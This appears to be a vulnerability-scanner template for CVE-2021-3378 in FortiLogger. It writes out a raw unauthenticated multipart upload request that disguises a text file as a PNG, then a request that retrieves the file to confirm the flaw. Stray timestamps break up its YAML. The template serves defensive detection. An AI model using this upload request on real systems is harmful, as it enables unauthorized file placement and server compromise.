2021-03-01 00:32:59 +00:00
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id: CVE-2021-3378
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info:
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name: FortiLogger Unauthenticated Arbitrary File Upload
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author: dwisiswant0
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severity: critical
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reference: https://erberkan.github.io/2021/cve-2021-3378/
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description: |
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This template detects an unauthenticated arbitrary file upload
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via insecure POST request. It has been tested on version 4.4.2.2 in
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Windows 10 Enterprise.
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tags: cve,cve2021,fortilogger,fortigate,fortinet
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requests:
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2021-03-01 08:45:16 +00:00
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- raw:
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- |
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POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
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Accept: application/json
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Referer: {{BaseURL}}
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Connection: close
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X-Requested-With: XMLHttpRequest
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------WebKitFormBoundarySHHbUsfCoxlX1bpS
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Content-Disposition: form-data; name="file"; filename="poc.txt"
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2021-03-05 08:29:13 +00:00
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Content-Type: image/png
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2021-03-01 08:45:16 +00:00
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POC_TEST
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------WebKitFormBoundarySHHbUsfCoxlX1bpS
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- |
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GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
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Host: {{Hostname}}
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2021-03-01 00:33:25 +00:00
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matchers-condition: and
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2021-03-01 00:32:59 +00:00
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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2021-03-01 08:45:16 +00:00
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- "POC_TEST"
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2021-03-01 00:32:59 +00:00
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part: body
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2021-03-01 08:45:16 +00:00
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2021-03-01 00:32:59 +00:00
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- type: word
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words:
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2021-03-01 08:45:16 +00:00
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- "text/plain"
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2021-03-01 00:32:59 +00:00
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- "ASP.NET"
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condition: and
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part: header
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